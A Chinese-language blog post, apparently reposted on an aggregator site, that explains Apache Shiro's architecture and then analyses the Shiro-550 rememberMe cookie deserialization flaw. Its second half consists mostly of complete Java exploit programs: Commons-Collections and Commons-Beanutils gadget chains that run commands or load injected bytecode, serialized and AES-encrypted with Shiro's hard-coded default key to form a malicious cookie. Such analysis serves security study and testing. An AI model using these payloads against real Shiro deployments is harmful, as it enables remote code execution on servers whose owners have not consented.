shiro反序列化分析

shiro反序列化分析

  • 基础知识
    • 简单介绍
    • 关键组件
      • SecurityManager
      • Subject
      • Realm
      • 总结
    • shiro安全框架在web中使用
      • 配置文件
      • 配置具体实现
        • ShiroFilter过滤器分析
  • shiro的漏洞
    • shiro550链子分析
      • 序列化加密cookie
      • 反序列化解密cookie验证
      • 总结
    • poc编写存在的问题和解决
      • CC6+TemplatesIml
      • CC6+instantiateTransformer
      • CommonsCollections5 改造
      • 原生Commons-Beanutils链攻击

基础知识

简单介绍

Apache Shiro 是一个 Java 安全框架,包括如下功能和特性:

Authentication:身份认证/登陆,验证用户是不是拥有相应的身份。在 Shiro 中,所有的操作都是基于当前正在执行的用户,这里称之为一个 Subject,在用户任意代码位置都可以轻易取到这个Subject。Shiro 支持数据源,称之为 Realms,可以利用其连接 LDAP\AD\JDBC 等安全数据源,并支持使用自定义的 Realms,并可以同时使用一个或多个 Realms 对一个用户进行认证,认证过程可以使用配置文件配置,无需修改代码。同时,Shiro 还支持 RememberMe,记住后下次访问就无需登录。

Authorization:授权,即权限验证,验证某个已认证的用户是否拥有某个权限。同样基于 Subject、支持多种 Realms。Shiro 支持 Wildcard Permissions ,也就是使用通配符来对权限验证进行建模,使权限配置简单易读。Shiro 支持基于 Roles 和基于 Permissions 两种方式的验证,可以根据需要进行使用。并且支持缓存产品的使用。

Session Manager:会话管理,用户登陆后就是一次会话,在没有退出之前,它的所有信息都在会话中。Shiro 中的一切(包括会话和会话管理的所有方面)都是基于接口的,并使用 POJO 实现,因此可以使用任何与 JavaBeans 兼容的配置格式(如 JSON、YAML、Spring XML 或类似机制)轻松配置所有会话组件。Session 支持缓存集群的方式;还支持事件侦听器,允许在会话的生命周期内侦听生命周期事件,以执行相关逻辑。Shiro Sessions 保留发起会话的主机的 IP 地址,因此可以根据用户位置来执行不同逻辑。Shiro 对 Web 支持实现了 HttpSession 类及相关全部 API。也可以在 SSO 中使用。

Cryptography:加密,保护数据的安全性;Shiro 专注于使用公私钥对数据进行加密,以及对密码等数据进行不可逆的哈希。
Permissions:用户权限;Shiro 将所有的操作都抽象为 Permission,并默认使用 Wildcard Permissions 来进行匹配。Shiro 支持实例级别的权限控制校验,例如domain:action:instance。

Caching:缓存,为了提高 Shiro 在业务中的性能表现。Shiro 的缓存支持基本上是一个封装的 API,由用户自行选择底层的缓存方式。缓存中有三个重要的接口 CacheManager/Cache/CacheManagerAware ,Shiro 提供了默认的 MemoryConstrainedCacheManager 等实现。

关键组件

SecurityManager

我们看名字就是安全管理的意思,它是shiro的一个核心接口,负责对subject(其实应该是user的,shiro为了避免重复,就取名为subject了)进行安全操作

  1. 接口本身定义了 createSubject、login、logout 三个方法用来创建 Subject、登陆和退出。
  2. 扩展了 org.apache.shiro.authc.Authenticator 接口,提供了 authenticate
    方法用来进行认证。
  3. 扩展了 org.apache.shiro.authz.Authorizer 接口,提供了对 Permission 和 Role
    的校验方法。包括 has/is/check 相关命名的方法。
  4. 扩展了 org.apache.shiro.session.mgt.SessionManager 接口,提供了
    start、getSession 方法用来创建可获取会话。

可以发现这个接口还继承了很多接口,所以它也实现了很多的功能在这里插入图片描述这里讲一讲最底层的DefaultSecurityManager
继承了上面各种老大哥的东西

它有许多属性

在这里插入图片描述在自身中有三个,因为还继承了,所以也有上面父类的属性,这里讲一讲这些属性

subjectFactory和subjectDAO

public DefaultSecurityManager() {
        super();
        this.subjectFactory = new DefaultSubjectFactory();
        this.subjectDAO = new DefaultSubjectDAO();
    }

可以看到我们的subjectFactory就是DefaultSubjectFactory类的一个实例化对象

在这里插入图片描述就两个方法,就是创建subject的
其他的我就不具体放代码了
subjectDAO:默认使用 DefaultSubjectDAO,用于将 Subject 中最近信息保存到 Session 里面。----(DAO,它是Data Access Object的缩写,数据访问对象。这是一个设计模式,用于将低级的数据访问逻辑或操作从高级的业务服务中分离出来。在Java中,数据访问对象模式是一个用于处理持久性存储的模式,如访问数据和存储数据的行为。)

rememberMeManager:用于提供 RememberMe 相关功能。

sessionManager:默认使用 DefaultSessionManager,Session 相关操作会委托给这个类。

authorizer:默认使用 ModularRealmAuthorizer,用来配置授权策略。

authenticator:默认使用 ModularRealmAuthenticator,用来配置认证策略。

realm:对认证和授权的配置,由用户自行配置,包括 CasRealm、JdbcRealm 等。

cacheManager:缓存管理,由用户自行配置,在认证和授权时先经过,用来提升认证授权速度。

这个类其实就是初始化默认配置这些属性

Subject

前面也说过,org.apache.shiro.subject.Subject 是一个接口,用来表示在 Shiro 中的一个用户。因为在太多组件中都使用了 User 的概念,所以 Shiro 故意避开了这个关键字,使用了 Subject。
在这里插入图片描述可以看到这个接口有许多方法,同样也是提供了认证(login/logout)、授权(访问控制 has/is/check 方法)以及获取会话的能力。在应用程序中如果想要获取一个当前的 Subject,通常使用 SecurityUtils.getSubject() 方法即可。
它和我们的 SecurityManager 提供了非常近似的方法

如果我们仔细分析,我们看到它的实现类DelegatingSubject,它有一个属性
在这里插入图片描述DelegatingSubject 中保存了一个 transient 修饰的 SecurityManager 成员变量,在使用具体的校验方法时,实际上委托 SecurityManager 进行处理,如下图:在这里插入图片描述DelegatingSubject 中不会保存和维持一个用户的“状态(角色/权限)”,恰恰相反,每次它都依赖于底层的实现组件 SecurityManager 进行检查和校验,因此通常会要求 SecurityManager 的实现类来提供一些缓存机制。所以本质上,Subject 也是一种“无状态”的实现。

Realm

其实我们把它叫做role(权力)就可以很好的理解了在这里插入图片描述可以看到它是属于一个底层了,我们看到实现就能更好理解它是干嘛的
在这里插入图片描述可以看到都是一些经典的api,org.apache.shiro.realm.Realm接口,通过Realm来访问指定应用的安全实体———用户、角色、权限等。

一个Realm通常与一个数据源有1对1的对应关系,此接口的实现类,将使用特定于数据源的 API 来进行认证或授权,如 JDBC、文件IO
在使用中,开发人员通常不会直接实现 Realm 接口,而是实现 Shiro 提供了一些相关功能的抽象类 AuthenticatingRealm/AuthorizingRealm,或者使用针对特定数据源提供的实现类如 JndiLdapRealm/JdbcRealm/PropertiesRealm/TextConfigurationRealm/IniRealm 等等

总结

通过对以上三个组件的了解,一次认证及授权的校验流程就形成了:

  1. 应用程序通过获取当前访问的 Subject(也就是用户),并调用其相应校验方法;
  2. Subject 将校验委托给 SecurityManager 进行判断;
  3. SecurityManager 会调用 Realm 来获取信息来判断用户对应的角色能否进行操作。

shiro安全框架在web中使用

配置文件

web.xml
Shiro 1.2及以后的版本:

<listener>
    <listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>
</listener>

<filter>
    <filter-name>ShiroFilter</filter-name>
    <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>

<filter-mapping>
    <filter-name>ShiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

使用ShiroFilter类作为Filter过滤器,并设置EnvironmentLoaderListener作为Web应用程序的一个监听器

shiro.ini
主要包括[main][users][roles][urls] 四项配置。

如果配置了[uesrs][roles],则会自动创建org.apache.shiro.realm.text.IniRealm实例,并可以在 [main] 配置中进行调用及配置。

main:主要是配置应用程序SecurityManager实例以及其他依赖项的地方
比如

[main]
# 指定 Realm 的实现类
myRealm = com.mycompany.MyRealm
# 指定 SecurityManager 的实现类
securityManager = org.apache.shiro.mgt.DefaultSecurityManager
# 将 Realm 添加到 SecurityManager 中
securityManager.realms = $myRealm
#没有登录的用户,请求某个资源页面时,自动跳转到制定的/login.jsp页面。
shiro.loginUrl=/login.jsp
shiro.unauthorizedUrl=/index.jsp
登录成功的用户,访问了没有被授权的资源,自动跳转到制定的页面。

[users]
# 定义用户和他们的密码
username1 = password1
username2 = password2

[roles]
# 定义角色和他们的权限
admin = *
user = read, write

[urls]
#定义 URL 的访问权限
/admin/** = authc, roles[admin]
/user/** = authc, roles[user]
#定义拦截器
[urls]
/login.jsp = authc
/logout = logout
/** = user

Shiro默认提供了一些Filter,名称和对应处理类如下
在这里插入图片描述

配置具体实现

ShiroFilter过滤器分析

当你有如下设置后:
web.xml

<filter>
    <filter-name>ShiroFilter</filter-name>
    <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>

<filter-mapping>
    <filter-name>ShiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

这就意味着,在启动Shiro Web应用时会,首先会调用一次它的init()方法,在访问某个路由时调用doFilter()方法
在这里插入图片描述我们可以看到选取WebEnvironment中的WebSecurityManager来作为Shiro上下文中的SecurityManager

随后会调用doFilter方法,由于本类没有实现,所以会去调用继承的doFilter方法
OncePerRequestFilter.doFilter
在这里插入图片描述正常情况下的逻辑会进入else语句"过滤器尚未执行,现在执行",这里会调用子类AbstractShiroFilter.doFilterInternal方法,具体逻辑
在这里插入图片描述根据具体的请求和响应,创建对应的Subject对象,在通过execute方法进行校验

这里会使用保存的SecurityManager(也就是WebSecurityManager)来创建 Subject 对象
在这里插入图片描述

shiro的漏洞

shiro550链子分析

序列化加密cookie

首先我先给出调用栈

DelegatingSubject.login()
->DelegatingSubject.login()
->DelegatingSubject.onSuccessfulLogin()
->DelegatingSubject.rememberMeSuccessfulLogin()
->AbstractRememberMeManager.javaonSuccessfulLogin()
->AbstractRememberMeManager.rememberIdentity()
->AbstractRememberMeManager.rememberIdentity()
  ->AbstractRememberMeManager.convertPrincipalsToBytes()
  ->AbstractRememberMeManager.encrypt() #加密登陆信息
->CookieRememberMeManager.javarememberSerializedIdentity() #设置cookie

我们直接从登录成功那里开始分析,也就是onSuccessfulLogin方法这里
在这里插入图片描述
首先是看我们是否开启了rememberme这个选项
如果开启了会调用rememberIdentity方法
在这里插入图片描述PrincipalCollection principals:这是一个PrincipalCollection对象,它是一个集合,存储了用户的主要信息。在Shiro框架中,这个对象通常用于存储用户的身份信息,例如用户名或用户ID。
这里会继续会调用它的一个重载方法
在这里插入图片描述
然后调用convertPrincipalsToBytes方法
在这里插入图片描述把我们的byte数据序列化
那我们的这个是什么,就是我们的cookie
然后调用encrypt加密操作
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/bce19281ba1a4965899ed114838b246d.png
进行了一次AES加密,这里也就是我们的问题所在,默认的 CipherKey 往上翻就能看到
在这里插入图片描述
然后就是返回加密后的数据回到rememberIdentity方法,继续调用
在这里插入图片描述
rememberSerilaizedIdentity方法
在这里插入图片描述
只是对我们的数据进行了base编码
保存到cookie中

反序列化解密cookie验证

我们shiro这时候就会验证cookie,进入getRememberedSerializedIdentity方法
在这里插入图片描述

就是把我们的内容base解码,然后现在按理说应该是aes解密了,我们寻找调用了getRememberedSerializedIdentity的地方

在org.apache.shiro.mgt.AbstractRememberMeManager类的的getRememberedPrincipals方法中调用了这个方法在这里插入图片描述其中这里的bytes就是经过base64解密后的Cookie值,随后会调用convertBytesToPrincipals方法
在这里插入图片描述进行一次AES解密,然后触发一次反序列化操作

总结

经过对上面的分析,我们已经知道我们一个攻击的思路了,那就是把我们的cookie传入恶意的序列化数据,然后一定要勾选rememberme,然后shiro就会反序列化我们的数据,造成反序列化攻击

poc编写存在的问题和解决

我们进行攻击,比如我们的cc6,只需要加上我们的aes加密即可

poc

package shiro;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void main(String[] args) throws Exception {

        Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
                new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(faketransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Map map = new HashMap();
        TiedMapEntry e = new TiedMapEntry(outerMap, "Nivia");
        map.put(e, "nivia");
        outerMap.remove("Nivia");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain,transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(map);
        oos.close();


        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
    }
}

将运行结果作为rememberMe的Cookie发送,但是报错
在这里插入图片描述无法去反序列化我们的数组,我们定位到抛出这个错误信息的地方org.apache.shiro.io.DefaultSerializer类

在这里插入图片描述
这个反序列化和我们正常反序列化不同的地方在于ClassResolvingObjectInputStream类
ClassResolvingObjectInputStream类重写了resolveClass方法,这个方法用于加载与指定流类描述等效的本地类。也就是读取序列化流的时候,读取到一个字符串形式的类,然后通过这个方法找到对应的Class对象
在这里插入图片描述
如果加载失败会抛出ClassNotFoundException异常

在ClassUtils.forName方法中,clazz为null,会抛出UnknownClassException异常在这里插入图片描述
ClassResolvingObjectInputStream类的resolveClass方法中,利用了ClassUtils.forName方法来获取Class对象

其中的fqcn为[Lorg.apache.commons.collections.Transformer,这里的[L是JVM的标记,说明实际上是一个数组,即Transformer[]
重写后的resolveClass方法,采用的是ClassUtils.forName,而非Class.forName方法
所以我们不能使用数组

CC6+TemplatesIml

不能有数组,那就不能使用Transformer[]数组了,InvokerTransfomer.transform(key)但是如果我们只使用一次,那就不存在数组的问题了,我们这里通过字节码加载作为出口类,但是又要使用hashmap作为入口类,这里是
在这里插入图片描述
修改之后的pop

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiro_cc {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");
        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
//避免put就弹出计算器5

        TiedMapEntry tme = new TiedMapEntry(outerMap,obj);
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove(obj);
        setFieldValue(outerMap,"factory",newTransformer);
//反射修改transformer中的iMethodName为newTransformer

            serialize(expMap);
            unserialize("szzz.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

CC6+instantiateTransformer

这个其实和上面的大同小异,只是避免使用InvokerTransformer,TrAXFilter.class类的transform方法可以调用对象的newtransfrom,但是没有序列化接口,而我们的InstantiateTransformer有接口,而且可以实例化一个对象

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiro_cc2 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");
//        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj});

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove(TrAXFilter.class);
        setFieldValue(outerMap,"factory",instantiateTransformer);
        serialize(expMap);
        unserialize("szzz.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

CommonsCollections5 改造

就是把lazymap触发的数组换成了字节码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC5_CC2_shiroexp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","aaa");
        byte[] code = Files.readAllBytes(Paths.get("evil.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);//将这里的key用了起来
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        Class c = badAttributeValueExpException.getClass();
        Field val = c.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);
        serialize(badAttributeValueExpException);
        unserialize("CC5_CC2_shiroexp.bin");
    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC5_CC2_shiroexp.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

原生Commons-Beanutils链攻击

如果没有cc依赖,我们应该怎么攻击呢?commons-beautils依赖是通过shiro-core自动导入的。
我们只需要修改一下cb链即可
找一个comparableComparator类替换即可

我们使用CaseInsensitiveComparator
但是这个类的元素必须是字符串类型
queue.add方法,这的add会到用offer方法,一直会调用到java.lang.String$CaseInsensitiveComparator.compare方法,这个方法接受的是两个字符串类型

package shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;


public class CommonsBeanutilsShiro {
    public static void main(String[] args) throws Exception{
        TemplatesImpl impl = new TemplatesImpl();
        byte[] code = Base64.getDecoder().decode("恶意代码");

        setFieldValue(impl, "_name", "nivia");
        setFieldValue(impl, "_bytecodes", new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");

        Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
        queueArray[0] = impl;
        queueArray[1] = 1;

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(ciphertext.toString());
    }

    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }
}

或者AttrCompare也可以

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.ReverseComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB {
    public static void main(String[] args) throws Exception {
//TemplatesImpl动态加载字节码
        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "wahaha");

        final BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(obj);
        priorityQueue.add(2);

        setFieldValue(priorityQueue,"comparator",comparator);
//        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});

        serialize(priorityQueue);
        unserialize("serzsd.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/699748.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

集合进阶(接口Collection(迭代器、增强for、Lambda表达式)、List中常见的方法和五种遍历方式、数据结构(栈、队列、数组、链表)

一、单列集合顶层Collection List系列集合&#xff1a;添加的元素是有序、可重复、有索引Set系列集合&#xff1a;添加的元素是无序、不重复、无索引 Collection是单列集合的祖宗接口&#xff0c;它的功能是全部单列集合都可以继承使用的。 Collection的遍历方式 1、迭代器——…

韩顺平0基础学java——第20天

p407-429 接口 一个类可以实现多个接口&#xff08;电脑上可以有很多插口&#xff09; class computer IB&#xff0c;IC{} 接口中的属性只能是final&#xff0c;并且是public static final 接口不能继承其他类&#xff0c;但是可以继承多个别的接口 interface ID extends I…

Hbase布隆过滤器

Hbase布隆过滤器 说在前面 重要思想&#xff1a; 1.时间换空间&#xff1a;降低内存使用率 --> 降低数据查询时间 2.空间换时间&#xff1a;提高数据查询速率 --> 保存在内存中

47、Flink 的 Data Source 原理

1.Data Source 原理 a&#xff09;核心组件 一个数据 source 包括三个核心组件&#xff1a;分片&#xff08;Splits&#xff09;、分片枚举器&#xff08;SplitEnumerator&#xff09; 以及 源阅读器&#xff08;SourceReader&#xff09;。 分片&#xff08;Split&#xff…

【stm32】——基于I2C协议的OLED显示

目录 一、I2C通讯 二、U8G2 1.U8g2简介 2.CubexMX配置 3.移植U8g2 4.编写移植代码 三、显示汉字 四、字体滚动 五、图片显示 总结 一、I2C通讯 IIC(Inter&#xff0d;Integrated Circuit)总线是一种由 PHILIPS 公司开发的两线式串行总线&#xff0c;用于连接微控制器及其外围设…

c# 学习 3

显示转换 异常捕获 语法

算法金 | D3blocks,一个超酷的 Python 库

​大侠幸会&#xff0c;在下全网同名[算法金] 0 基础转 AI 上岸&#xff0c;多个算法赛 Top [日更万日&#xff0c;让更多人享受智能乐趣] 1 选武入道 - 概况速览 库简介&#xff1a;D3Blocks是一个基于d3 javascript (d3js)的图形库&#xff0c;通过只需少量的Python代码就能…

二分查找算法:穿越算法迷宫的指南

✨✨✨学习的道路很枯燥&#xff0c;希望我们能并肩走下来! 目录 前言 一. 二分查找算法介绍 二 二分查找的题目解析 2.1 二分查找 2.2 在排序数组中查找元素的第一个位置和最后一个位置 2.3 搜索插入位置 2.4 x的平方根 2.5 山峰数组峰顶的索引 2.6 寻找峰值 2.7 寻找旋转数…

TensorFlow图像识别项目

Hi~&#xff01;这里是奋斗的小羊&#xff0c;很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~~ &#x1f4a5;&#x1f4a5;个人主页&#xff1a;奋斗的小羊 &#x1f4a5;&#x1f4a5;所属专栏&#xff1a;C语言 目录 今天我们将讨论如何部署Flask项…

【鸿蒙开发】HarmonyOS开发 URL动态路由设计

前言 2024 年是原生鸿蒙的关键一年&#xff0c;我们要加快推进各类鸿蒙原生应用的开发&#xff0c;集中打赢技术底座和三方生态两大最艰巨的战斗。余承东强调&#xff0c;要构建强大的鸿蒙生态&#xff0c;拉动中国电子工业崛起&#xff0c;开启终端未来大发展的新十年 。 去年…

c# 操作Microsoft Access数据库

数据库结构为&#xff1a; public static string connting "数据库路径&#xff1a;如&#xff1a;D:\\xxx.mdb";//插入public bool InsertToFile(string casenumber, int lastrowid, int pagecount){bool result true;try{string connString $"ProviderMicr…

零基础非科班也能掌握的C语言知识20 文件操作

文件操作 1.文件相关概念2.流和标准流2.1流2.2标准流 3.文件指针4.文件的打开关闭5.文件的顺序读写6.文件的随机读写6.1 fseek6.2 ftell6.3 rewind 7.⽂件读取结束的判定7.1 feof 8.文件缓冲区 1.文件相关概念 2.流和标准流 2.1流 我们程序的数据需要输出到各种外部设备&…

分层解耦

三层架构 controller:控制层&#xff0c;接收前端发送的请求&#xff0c;对请求进行处理&#xff0c;并响应数据&#xff0c; service:业务逻辑层&#xff0c;处理具体的业务逻辑。 dao:数据访问层(Data Access Object)(持久层)&#xff0c;负责数据访问操作&#xff0c;包括数…

Linux文件权限信息和Linux文件与文件夹的管理

目录 前言一、系统环境二、Linux文件权限信息2.1 查看Linux文件权限信息2.2 修改Linux文件权限信息2.2.1 chmod命令2.2.2 chown命令 三、Linux文件与目录的管理3.1 查看文件或文件夹3.1.1 查看文件内容3.1.2 查看文件夹内容 3.2 新增文件或文件夹3.2.1 新增文件3.2.2 新增文件夹…

Node.js版本管理工具-NVM

在开发 Node.js 项目时&#xff0c;经常会遇到需要切换不同版本的 Node.js 的情况。为了方便管理和切换各个版本&#xff0c;我们可以使用一些 Node.js 版本管理工具。 Node Version Manager&#xff1a;简称NVM&#xff0c;最流行的 Node.js 版本管理工具之一。它允许我们在同…

C++---模板进阶(非类型模板参数,模板的特化,模板分离编译)

我们都学习和使用过模板&#xff0c;而这篇文章我们来将一些更深入的知识。在此之前&#xff0c;我们在使用C编程时可以看到模板是随处可见的&#xff0c;它能支持泛型编程。模板包括函数模板和类模板&#xff0c;我们有的人可能会说是模板函数和模板类&#xff0c;但严格讲这样…

【话题】评价GPT-4o:从革命性技术到未来挑战

